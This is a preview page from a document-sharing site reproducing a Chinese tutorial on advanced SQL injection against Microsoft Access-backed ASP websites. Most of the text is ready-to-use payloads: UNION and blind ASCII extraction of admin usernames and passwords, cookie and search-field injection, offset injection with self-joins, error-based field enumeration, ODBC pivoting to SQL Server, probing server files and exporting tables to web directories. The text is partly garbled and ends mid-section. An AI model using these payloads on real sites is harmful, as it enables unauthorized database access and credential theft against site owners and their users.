Access數據庫注入高級玩法_第1頁
Access數據庫注入高級玩法_第2頁
Access數據庫注入高級玩法_第3頁
Access數據庫注入高級玩法_第4頁
Access數據庫注入高級玩法_第5頁
全文預覽已結束

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、Access 數據庫注入高級玩法Access 數據庫注入高級玩法,鑒于論壇的朋友要求,在這整理下,以饗讀者。Access 數據庫想對于MsSql 來說可謂小巫見大巫,但是 Acc 的數據庫在目前國內還是有一定的市場,其注入也很靈活。相信你看完本文就會了解到 Access 也是很強大的。一,基礎篇猜解表名,這里借用啊 D 的語句: and exists (select * from 表名) 猜解列名:and exists (select 字段 from 表名)UNION 法,在執行 union 之前建議進行下order by 這樣會更快。聯合查詢:select name,password,id

2、from user union select user,pwd,uid from如果遇到 order by 錯誤提示,執行下 2 次union 可解決and 1=2 union select 1,2,3,4,5 from 表名 union select 1,2,3,4,5 from 表名爆指定表名內容:and 1=2 union select 1,2,3,4,5 from 表名ASCII 逐字解碼法:1、猜解列長度猜解語句:and (select top 1 len(列名)from 表名)N and (select top 1 len(列名)from 表名)=N其中 N 是數字,變換這個N 的

3、值猜解列長度,例如:and (select top 1 len(列名)from 表名)1 and (select top 1 len(列名)from 表名)6如果一直猜到 6 都顯示正常頁面,猜到 7 的時候返回錯誤(大于 6 并且小于等于 7),那么該列的長度為 7。因為“top 1”的意思是把最靠前的 1 條記錄給提取出來,所以如果要猜解第二條記錄就該使用:select top 1 len(列名) from 表名where 列名 not in (select top 1 列名 from 表名) 2、ASCII 碼分析法猜解用戶和密碼ASC()函數和Mid 函數例如:mid(列名,N,1)A

4、SC(mdi(列名,N,1)得到“列名”第N 位字符ASCII 碼猜解語句為:and (select top 1 asc(mid(字段,1,1) from 數據庫名)=ASC 碼(通過轉換工具換) 區間判斷語句:“.between.and.”中文處理法:當 ASCII 轉換后為“負數”使用abs()函數取絕對值。例:and (select top 1 abs(asc(mid(字段,1,1) from 數據庫名)=ASC 碼(通過轉換工具換) ASCII 逐字解碼法的應用:1、猜解表名:and (select count(*) from admin)0 2、猜解列名:and (select co

5、unt(列名) from 表名)0 3、猜解管理員用戶個數:and (select count(*) from 表名)=1 返回正常,表中有一條記錄。4、猜解管理員用戶名的長度:and (select len(列名) from 表名)=1、=2、=3、=4。5、猜解管理員用戶名:and (select count(*)from 表名 where (asc(mid(列名,1,1) between 30 and 130)0最后提交:and (select asc(mid(列名,1,1) from 表名)=ascii 的值6、猜解管理員的密碼:按照上面的原理,只要把上面的語句中(asc(mid(列名

6、,1,1)的列名換成 PASSWORD 就能得到管理員的密碼了。搜索型注入漏洞利用猜解語句: 關鍵字% and 1=1 and %=% 關鍵字% and 1=2 and %=%將 and 1=1 換成注入語句就可以了。cookie 注入語句: javascript:alert(document.cookie=id=+escape(44 and 1=1);javascript:alert(document.cookie=id=+escape(44 and 1=2);猜解語句:猜解長度:javascript:alert(document.cookie=id=+escape(44 and (sele

7、ct len(password) from admin)=16)猜解內容:javascript:alert(document.cookie=id=+escape(44 and (select asc(mid(username) from admin)=97)二,高級篇1,Acc 的偏移注入條件,知道一表名,一字段,一般來說 ID 字段還是有的。假如你知道 order by 出的列數是 20,那么,要知道admin 表里的字段數,可以這樣, and 1=2 union select 1,2,3,4,5,6,7,8,* from admin 出錯,繼續,and 1=2 union select 1

8、,2,3,4,5,6,7,8,9,* from admin 逐一增加,直到返回正常這里要說下盲注,假如 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin返回正常,此時可能會爆出 admin 表的字段,取決于 admin 表的復雜程度和 RP假如到 15 時返回正常,說明admin 的字段數為 20-15=5 個,下面來自聯,自聯還有一個重要的條件就是admin 的字段數*2 20 但這條語句是合法的這個地方很關鍵,他為什么會是合法的語句,這個地方是技術核心 必須理解。前邊是 22 后邊是 20 怎么可能相等?因為 a.id 和

9、b.id 在 * 里是有的,那么計算機自動去掉重復的 保持集合里元素的唯一性,這樣一來雖然查詢效果一樣,但是*里的字段排列順序卻被打亂了!先后兩次打亂 很有可能讓username password 偏移到可顯示的位置。如果還沒成功 怎么辦?union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from (admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)union select 1,2,3,4,5,6,7,8,9,10,a.id,b.

10、id,c.id,d.id,* from (admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)2,having 語句,group by 語句在 Access 數據庫里,也支持having 和 group by 語句,眾所周知,這 2 個語句我們常用來枚舉字段名的,在 Mssql 數據庫中很好使。在acc 中就有些別扭了。這里分情況討論,a:如果站點的Sql 查詢語句為 select id,name,address

11、 from 表名,也就是說查詢的是特定的字段數據,那么我們可以這么暴, productshow.asp?id=25 group by 1 having 1=1(數字型),如果字符型就 group by 1 having 1=1返回的錯誤:Microsoft JET Database Engine (0 x80040E21)試圖執行的查詢中不包含作為合計函數一部分的特定表達式 id 。爆出 id 字段,繼續,productshow.asp?id=25 group by 1,id having 1=1返回錯誤:Microsoft JET Database Engine (0 x80040E21)試

12、圖執行的查詢中不包含作為合計函數一部分的特定表達式 email 。依次類推 productshow.asp?id=25 group by 1,id,email having 1=1b:如果站點的原來SQL 查詢語句為select * from product where id=&ID&,那么執行上述語句就會返回這樣的錯誤:Microsoft JET Database Engine 錯誤 80040e21不能將已選定 * 的字段中組合。/productshow.asp,行 18這時我們可以這樣爆字段,productshow.asp?id=25 having sum(1)=1(數字型),字符型(

13、having sum(1)=1)返回的錯誤:Microsoft JET Database Engine 錯誤 80040e21試圖執行的查詢中不包含作為合計函數一部分的特定表達式 id 。/productshow.asp,行 18可以看出爆出了 ID但這樣很有局限性,只能爆出第一個 id,其他的沒辦法了。那只能盲猜了。productshow.asp?id=25 and id=1 不報錯,productshow.asp?id=25 and name=1 返回錯誤: Microsoft JET Database Engine 錯誤 80040e10至少一個參數沒有被指定值。/productshow

14、.asp,行 18連接到MsSQL 數據庫productshow.asp?id=25 and 1=2 union Select top 1 1,2,table_name from ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*;DataBase=rmation_schema.tables這樣 master 庫的第一個表名就出來了獲得后面的表名也很簡單union Select top 1 1,2,table_name from ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*;Da

15、taBase=rmation_schema.tables where table_name not in (select top 1 table_name from ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=*;DataBase=rmation_schema.ta bles)如果數據庫里的 ID 是字符型 union Select top 1 1,2,table_name from ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=*;DataBase=maste

16、rmation_schema.tab les where 1=1返回的錯誤:Microsoft JET Database Engine 錯誤 80004005ODBC-連接到 SQL Server* 失敗。如果這個錯誤返回延遲較長時間,說明 database 不允許連接,如果錯誤返回很快,沒時間延遲,說明提供的賬號或者密碼有誤。映射本地驅動器使用 in 語句,比如 productshow.asp?id=25 and 1=2 union select * from admin in .返回的錯誤:Microsoft JET Database Engine 錯誤 80004005Mic

17、rosoft Jet 數據庫引擎打不開文件c:windowssystem32inetsrv。 它已經被別的用戶以獨占方式打開,或沒有查看數據的權限。此查詢可用于檢測目錄和文件,對于猜解網站目錄很有用。再比如:productshow.asp?id=25 and 1=2 union select * from admin in C:windowsODBC.ini返回錯誤:Microsoft JET Database Engine 錯誤 80004005 不可識別的數據庫格式 C:windowsODBC.INI。說明該文件存在,只是不是數據庫。productshow.asp?id=25 and 1=

18、2 union select * from admin in C:windows123.ini返回錯誤:Microsoft JET Database Engine 錯誤 80004005找不到文件 C:windows123.ini。該文件不存在。寫文件說到寫文件,這里不得不提下 lake2 的那篇文章,SQL 注入Access 導出WebShell如果我們執行這樣的語句:SELECT * into test.txt in d:web text; from adminSELECT * into test.txt in youripshare text; from admin在 d:web 目錄下

19、就會生成test.txt 文件,其內容就是表 admin 的內容,這條語句要執行是要有一定的條件的,單句執行沒什么問題,但是放到注入點里執行時,等待你的是 2 種結果:1.動作查詢不能作為行為的來源。2,如果在子語句,會提示子語句不支持此查詢,也就是說不能在子查詢和 UNION 查詢中,實用價值不大實屬雞肋。但是這個還是必須得知道的。執行系統命令首先有必要介紹一下沙盒模式為了安全起見,MS 在 Jet 引擎的Sp8 中,設置了一個名為SandBoxMode 的開關,這個開關是開啟一些特殊函數在另外的執行者中執行的權限的.它的注冊表位置在HKEY_LOCAL_MACHINESoftWareMicrosoftJet4

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論